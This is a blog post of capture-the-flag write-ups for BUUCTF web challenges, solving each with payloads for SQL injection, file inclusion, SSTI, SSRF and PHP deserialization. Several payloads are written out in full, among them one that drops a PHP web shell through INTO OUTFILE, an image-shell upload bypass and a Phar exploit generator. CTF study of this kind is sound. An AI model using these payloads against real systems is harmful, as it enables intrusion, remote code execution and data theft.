前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BUUCTF-Web-WriteUp

BUUCTF-Web-WriteUp

作者头像
小简
发布2022-12-28 15:51:32
1.4K0
发布2022-12-28 15:51:32
举报
文章被收录于专栏:简言之

WarmUp【2018-HCTF】

知识点:代码审计,phpmyadmin任意文件包含漏洞 参考phpmyadmin 4.8.1任意文件包含

涉及函数$_REQUEST , in_array() , mb_substr() , mb_strpos()

打开题目查看源码,发现source.php,跟进得到源码

代码语言:javascript
复制
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

代码审计,whitelist数组里有另一个元素hint.php,进去看看,提示了flag存储的位置

代码语言:javascript
复制
flag not here, and flag in ffffllllaaaagggg

关键代码:

代码语言:javascript
复制
if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    }

即满足这三个条件才能够包含(include$_REQUEST['file'])

代码语言:javascript
复制
$ _REQUEST[‘file’]不为空
$ _REQUEST[‘file’]为字符串
emmm::checkFile($_REQUEST[‘file’])返回值为真。

分析emmm::checkFile()这个函数

代码语言:javascript
复制
  class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

1.首先设置了一个白名单,只包含source.php和hint.php,第一个if检查是否存在$page并且是否为字符串。

2.检查page是否在白名单中,是的话返回true。接下来,两个函数一个mb_substr和mb_strpos,意思就是截取page中?前面的字符串,然后再进行白名单校验。

3.在url解码后的$page?前面是否在whitelist里面

构造payload0x01:首先构造?file=source.php,满足上述第一点 0x02:再构造?file=source.php?,满足上述第二点 0x03:接着构造?file=source.php%253f,满足上述第三点 (由于服务器会自动解码一次,所以在checkFile()中,$page的值一开始会是source.php%3f,urldecode解码后变成了source.php?,这次便符合了?前内容在白名单的要求,函数返回true) 0x04:最后通过目录穿越的到ffffllllaaaagggg里面的内容,也就是flag。

playload:http://10d57afd-7622-4cda-b0be-af3d90f1cce0.node1.buuoj.cn/?file=source.php%253f/../../../../ffffllllaaaagggg

随便注(三种解题思路)【2019-强网杯】

知识点:SQL注入-堆叠注入,sql预处理语句,巧用contact()函数绕过 参考SQL注入-堆叠注入 SQL Injection8(堆叠注入)——强网杯2019随便注 [Writeup]BUUCTF_Web_随便注 MySQL的SQL预处理(Prepared) 利用Mysql into outfile给网站留后门 shell处理mysql增、删、改、查 堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。 用户输入:1; DELETE FROM products 服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

方法一:重命名+堆叠注入

打开题目,显示如下界面,观察后猜测是sql注入

0x01:判断是否存在注入,注入是字符型还是数字型 输入1'发现不回显 输入1' #显示正常 应该是存在sql注入了

输入1' or '1'='1,正常回显,应该是字符型

0x02:猜解SQL查询语句中的字段数 输入1' order by 1 # 成功回显

输入1' order by 2 # 成功回显

输入1' order by 3 # 回显错误

所以只有两个字段 0x03:显示字段 输入1′ union select 1,2 # 回显一个正则过滤规则

过滤了 select,update,delete,drop,insert,where 和 点

过滤了这么多词,是不是有堆叠注入?尝试堆叠注入 0x04:查询数据库 输入1';show databases;# 成功回显

说明存在堆叠注入 0x05:查询表 输入1';show tables;# 成功回显

得到两个表words1919810931114514 0x06:查询表中字段 坑点:mysql中点引号( ‘ )和反勾号( ` )的区别

代码语言:javascript
复制
linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;

反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;

输入1'; show columns from `words`; # 字段使用的是反勾号( ` )

输入1'; show columns from `1919810931114514`; # 字段使用的是反勾号( ` )

可以看到1919810931114514中有我们想要的flag字段 现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了 因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢 内部查询语句类似 :select id, data from word where id =

他既然没过滤 alert 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。 先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。 payload:

代码语言:javascript
复制
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

接着输入1' or '1'='1 ,查询就得到flag

方法二:预处理语句+堆叠注入

预处理语句使用方式:

代码语言:javascript
复制
PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句

预定义语句也可以通过变量进行传递:

代码语言:javascript
复制
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

本题即可利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句,来绕过过滤或者直接使用concat()方法绕过

代码语言:javascript
复制
char()根据ASCII表返回给定整数值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'

contact()函数用于将多个字符串连接成一个字符串
contact (str1,str2,…) 
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'

char(115,101,108,101,99,116)<----->'select' payload1:不使用变量 1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;# 输入payload1直接得到flag

payload2:使用变量 1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#

输入payload2直接得到flag

payload3:只是用contact(),不使用char() 1';PREPARE jwt from concat('s','elect', ' * from `1919810931114514` ');EXECUTE jwt;#

方法三:利用命令执行Getflag

查询了一下用户竟然是root

代码语言:javascript
复制
1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;

那么写个执行命令的shell吧(绝对路径猜的,一般是服务器网站根目录/var/www/html)

代码语言:javascript
复制
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

利用char(46)<==>.从而绕过关键词.过滤

Mysql into outfile语句,可以方便导出表格的数据。同样也可以生成某些文件。因此有些人会利用sql注入生成特定代码的文件,然后执行这些文件。将会造成严重的后果。 Mysql into outfile 生成PHP文件 SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile ‘/var/www/html/fuck.php’ 最后会在/var/www/html/路径下, 生成fuck.php文件 这里不走寻常路,执行打算利用我们的shell查询flag(账号密码直接读取首页就可以看到)

利用一句话木马执行任意mysql命令(双引号中的内容会被当做shell命令执行然后结果再传回来执行) uroot:用户名root proot:密码root

代码语言:javascript
复制
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

EasySQL【2019-SUCTF】

知识点:堆叠注入,sql_mode 实现字符串管道‘||’连接 题目和2019-强网杯随便注一样是一个堆叠注入,不过做了更多限制。 查看大佬Wp,比赛时.index.php.swp存在源码泄露

代码语言:javascript
复制
1;show databases;show tables; #查库和表    
代码语言:javascript
复制
<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

过滤了prepare|flag||where|from|union|update|delete|if||or|and|等,还有长度限制,不能超过40 查询语句结构:select ".$post['query']."||flag from Flag 因此可以直接输入*,1拿到flag

代码语言:javascript
复制
select *,1||flag from Flag

因为1||flag == 1,然后可以查询Flag表里所有内容。

方法二: 参考:SUCTF Web部分 原理:mysql 修改sql_mode 实现字符串管道‘||’连接 本地测试sql_mode

通过||来实现字符串拼接,设置sql_mode模式为pipes_as_concat即可。即:

代码语言:javascript
复制
1;set sql_mode=pipes_as_concat;select 1

CheckIn【2019-SUCTF】

知识点:文件上传,.user.ini文件构成的PHP后门,GIF89a绕过图片检测 参考:.user.ini文件构成的PHP后门 从SUCTF 2019 CheckIn 浅谈.user.ini的利用 题目是一个文件上传,可以上传jpg、png等文件,但是限制了php,文件内容不能包含<?,但可以上传<script language='php'><scirpt>类型的图片马来绕过。其次还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接随便加一个图片文件头就行,添加最简单的gif文件头GIF89a,并且上传之后会给出文件所在目录 本题是利用.user.ini来上传php后门

看过.user.ini的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini:

代码语言:javascript
复制
GIF89a
auto_prepend_file=1.jpg

此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,那么正好满足.user.ini的条件 然后再上传一个图片马1.jpg:

代码语言:javascript
复制
GIF89a
<script language='php'>system('cat /flag');</script>

我们访问uploads/fd40c7f4125a9b9ff1a4e75d293e3080/index.php即可得到flag

Hack World【2019-CISCN-华北赛区】

知识点:布尔盲注 直接给出了表名flag和字段名flag 布尔盲注,使用异或即可 过滤了空格,可以使用tab或者()

easy_tornado【2018-护网杯】

知识点:服务端模板注入攻击 (SSTI) 参考: Python Web 框架:Tornado render函数介绍 SSTI服务器模板注入 服务端模板注入攻击 (SSTI)之浅析 根据题目easy tornado搜索tornado发现是python中的一个web应用框架。

打开题目发现有三个文件

flag.txt

代码语言:javascript
复制
/flag.txt
flag in /fllllllllllllag

发现flag在/fllllllllllllag文件里

welcome.txt

代码语言:javascript
复制
/welcome.txt
render

render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。 hints.txt

代码语言:javascript
复制
/hints.txt
md5(cookie_secret+md5(filename))

filename=/fllllllllllllag,只需要知道cookie_secret的就可以访问flag了

输入filename=/fllllllllllllag测试后发现还有一个error界面,格式为/error?msg=Error,加之render函数,所以怀疑存在服务端模板注入攻击(SSTI)

构造payload,验证是否存在注入

代码语言:javascript
复制
/error?msg={{3}}

页面显示3,说明存在模板注入

通过查阅文档发现tornadocookie_secrethandler.settings中 构造payload获取cookie_secret

代码语言:javascript
复制
/error?msg={{handler.settings}}

在线计算filehash值或者脚本计算

代码语言:javascript
复制
import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()

filename = '/fllllllllllllag'
cookie_secret = 'b3462331-240d-4d61-9941-ce05616520e3'
print(md5(cookie_secret+md5(filename)))

payload:

代码语言:javascript
复制
?filename=/fllllllllllllag&filehash=d36c1cd33fb729d2a7d1084c51c30d28

高明的黑客【2019-强网杯】

知识点:代码审计,动态测试

下载www.tar.gz 下载下来之后发现有三千多个php文件,随意打开几个文件,发现了类似命令执行漏洞。

但只有一个是真正可以执行的 将每个php文件里的$ _GET参数提取出来逐个爆破就行了 代码参考网上大佬的

代码语言:javascript
复制
# coding:utf-8
#!/usr/bin/env python3
import requests
import os
import re
url = 'http://d65fe37f-f9c3-4b4a-ba25-cb8b0dfdd28b.node1.buuoj.cn/'
ptn = re.compile(br"\$_GET\['(\w+)'\]")
ptn1 = re.compile(br'>>> (\w+) !!!')
i = 0
for f in list(os.scandir('C:/Users/admin/Desktop/src'))[::-1]:
    i += 1
    print(i, end='\r')
    with open(f.path, 'rb') as fp:
        data = fp.read()
    for get in set(ptn.findall(data)):
        get = get.decode('ascii')
        cmd = 'echo ">>> %s !!!";' % get
        r = requests.get(url + f.name, params={get: cmd})
        if ptn1.search(r.content) is not None:
            print()
            print(f.name, get)
            exit()

payload:

代码语言:javascript
复制
/xk0SzyKwfzw.php?Efa5BVG=cat /flag

Fakebook【2018-网鼎杯】

知识点:SSRF,反序列化,报错注入 打开题目,发现Web应用有两个功能。一个是登录,一个是注册,如下:

发现注册的时候blog处只能写url链接

而且在查看用户信息的时候,发现Web应用加载了用户的blog网页,这里就存在SSRF漏洞。

查看robots.txt,得到user.php.bak发现有源码泄露,扫描得到flag.php

代码语言:javascript
复制
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

审计源码发现其中get()函数存在SSRF(服务端请求伪造)漏洞。

查看用户信息界面存在SQL注入,直接使用报错注入,会发现数据库里面只有用户的注册信息: 爆表名

代码语言:javascript
复制
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

爆列名

代码语言:javascript
复制
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

爆字段

代码语言:javascript
复制
/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

这里发现data字段存放的是用户信息经过反序列化的结果, 结合前面 view.php 页面会加载用户的blog信息, 所以这里极有可能是利用反序化数据库中的data字段,然后取出url字段并加载, 因此利用no参数进行注入,在反序列化中构造file文件协议, 利用服务端请求伪造漏洞访问服务器上的flag.php文件 所以我们要做的就是将SQL语句查询结果中data字段反序列化后,内容中的url等于flag.php即可。所以我们构造SQL语句如下: 过滤了union select用/ ** /可以绕过

代码语言:javascript
复制
/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"jwt";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

解密base64得到flag

Dropbox【CISCN2019 华北赛区 Day1 Web1】

知识点:任意文件下载,PHAR反序列化RCE 参考: ciscn2019华北赛区半决赛day1_web1题解 buuctf-web-[CISCN2019 华北赛区 Day1 Web1]Dropbox 什么是Phar反序列化 利用phar拓展php反序列化漏洞攻击面 进入解题页面发现需要登录,注册一个账号,登录以后是一个网盘的页面,最开始只有上传功能,并且只能上传png,jpg等图片格式。

随便上传一个符合要求的文件,发现可以对其进行下载和删除。

通过抓下载的包发现,该处存在一个任意文件下载的漏洞,修改文件名filename=…/…/index.php,可以下载源码

利用该漏洞下载download.php,delete.php以及其需要包含的class.php的内容。

重点是class.php和delete.php 分析download.php的核心源码

代码语言:javascript
复制
<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    #省略一些代码
    echo $file->close();
} else {
    echo "File not exist";
}
?>

可以发现,该文件只有很常规的下载文件操作,并且限制了不能下载文件名中带有flag的文件。 接着分析class.php

代码语言:javascript
复制
<?php
#代码精简一下
class File {
    public $filename;

    public function close() {
        return file_get_contents($this->filename);
    }
}
class User {
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        #省略了一些影响阅读的table创建代码
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '</tr>';
        }
        echo $table;
    }
}
?>

1.File类中的close方法会获取文件内容,如果能触发该方法,就有可能获取flag。 2.User类中存在close方法,并且该方法在对象销毁时执行。 3.同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。

根据以上三条线索,梳理一下可以得出结论:

如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。

想实现上述想法,可以借助phar的伪协议。 运行如下PHP文件,生成一个phar文件,更改后缀名为png进行上传。

代码语言:javascript
复制
<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("jwt.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar文件后在删除的时候进行触发即可得到flag。 因此在删除时使用burpsite抓包,修改参数,即可得到flag。

piapiapia【2016-0CTF】

知识点:数组绕过正则及相关,改变序列化字符串长度导致反序列化漏洞,PHP反序列化逃逸 参考2016 0CTF—piapiapia , 0ctf 2016 部分 web writeup利用数组绕过问题小总结 预备知识:改变序列化字符串长度导致反序列化漏洞 unserialize()会忽略能够正常序列化的字符串后面的字符串 比如:

代码语言:javascript
复制
a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}

反序列化会正常解析

代码语言:javascript
复制
a:4{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}

忽略s:39:"upload/f47454d1d3644127f42070181a8b9afc";},从而导致读取config.php 可以利用这个规则构造字符串来闭合,如本题中filter()将where替换成hacker,就可以将这个成员的最后一个字符挤出去,重复34次就可以挤出34个字符,正好闭合改序列化字符串


打开题目,典型的登录界面 猜测是否有注册,发现/register.php,注册后登陆,进入到update.php页面

进行一下目录扫描,dirsearch扫出了源码www.zip

下载www.zip,得到如下

先拿seay代码审计一下看下大概会有什么漏洞

在profile.php中有文件读取

代码语言:javascript
复制
else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

又发现在config.php中有flag的标识,看来flag就是在config.php中了

代码语言:javascript
复制
<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

那么基本可以确定思路就是使$profile['photo']等于config.php从而就可以读出config.php的flag了 反序列化逃逸: 对photo进行操作的地方在update.php

代码语言:javascript
复制
     <?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

在设置了$profile之后,用update_profile()函数进行处理:

代码语言:javascript
复制
public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

update_profile()函数调用了filter函数

代码语言:javascript
复制
public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

进行了过滤,fileter函数中进行了对单引号、双反斜杠的过滤,以及将select、insert、update、delete、where字符串替换成hacker,这里就会出现一个问题,只有where是长度为5的字符串,即如果字符串中有where会被替换成字符串长度为6的hacker字符串,如果我们输入的有where,会替换成hacker,这样的话长度就变了 开始构造: 想要读取photo,所以只能操作nickname,使其溢出到photo 输入nickname时候有一个正则

代码语言:javascript
复制
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

对于nickname这个参数,看到熟悉的preg_match和strlen,可以用数组绕过(nickname[]=)

数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:"photo";s:10:"config.php";},一共是34个字符,如果利用34个where,在where被正则匹配换成hacker之后,就多出34个字符,不就可以把这34个给挤出去,然后"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了,后面的upload因为序列化串被我们闭合了也就没用了:

代码语言:javascript
复制
payload:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

下面开始操作: 注册之后登陆,进入到update.php页面,输入相应信息和构造的nickename及上传图片,用bp抓包把nickname改成数组即可:

然后访问profile.php查看源码,把base64码解码:

ikun【CISCN2019 华北赛区 Day1 Web2】

题目复现链接: https://buuoj.cn/challenges CISCN 2019 华北赛区 Day1 Web2

知识点
1、逻辑漏洞

可以通过抓包修改折扣等数据来购买

2、JSON Web Token(JWT)

认识JWT

3、jwt-cookies伪造

解析jwt: https://jwt.io/ 爆破密钥: c-jwt-cracker: https://github.com/brendan-rius/c-jwt-cracker

4、Python反序列化

一篇文章带你理解漏洞之 Python 反序列化漏洞! Python反序列化漏洞的花式利用 (Python) cPickle反序列化漏洞 关于Python sec的一些简单的总结

解题方法

CISCN 华北赛区 Day1 Web2 CISCN 华北赛区 Day1 Web2 WriteUp

SSRF Me【2019-De1CTF】

知识点
1、MD5长度扩展攻击

攻击场景:file=filename&hash=md5($secret_key.filename)验证成功下载文件 目的:传入任意filename实现任意文件读取 条件:

代码语言:javascript
复制
已知任意一个md5($secret_key.filename),并且知道filename的明文。
已知secret_key的长度。
用户可以提交md5值。

工具:HashPump/python模块:hashpumpy 参考: hash扩展长度攻击及hashdump使用 Hash Length Extension Attack 浅谈MD5扩展长度攻击

2、Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI(CVE-2019-9948)

当不存在协议的时候,默认使用file协议读取 可以使用local_file:绕过,例如local_file:flag.txt路径就是相对脚本的路径 local_file://就必须使用绝对路径(协议一般都是这样) local-file:///proc/self/cwd/flag.txt也可以读取,因为/proc/self/cwd/代表的是当前路径 如果使用 urllib2.urlopen(param)去包含文件就必须加上file,否则会报ValueError: unknown url type: /path/to/file的错误

解题方法

De1CTF ssrf_me 的三种解法 浅析De1CTF 2019的两道web SSRF ME && ShellShellShell

SSRFme【2017-Hitcon】

解题方法

BUUCTF web writeup(二)

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-08-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • WarmUp【2018-HCTF】
  • 随便注(三种解题思路)【2019-强网杯】
    • 方法一:重命名+堆叠注入
      • 方法二:预处理语句+堆叠注入
        • 方法三:利用命令执行Getflag
        • EasySQL【2019-SUCTF】
        • CheckIn【2019-SUCTF】
        • Hack World【2019-CISCN-华北赛区】
        • easy_tornado【2018-护网杯】
        • 高明的黑客【2019-强网杯】
        • Fakebook【2018-网鼎杯】
        • Dropbox【CISCN2019 华北赛区 Day1 Web1】
        • piapiapia【2016-0CTF】
        • ikun【CISCN2019 华北赛区 Day1 Web2】
          • 知识点
            • 1、逻辑漏洞
            • 2、JSON Web Token(JWT)
            • 3、jwt-cookies伪造
            • 4、Python反序列化
          • 解题方法
          • SSRF Me【2019-De1CTF】
            • 知识点
              • 1、MD5长度扩展攻击
              • 2、Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI(CVE-2019-9948)
            • 解题方法
            • SSRFme【2017-Hitcon】
              • 解题方法
              相关产品与服务
              文件存储
              文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档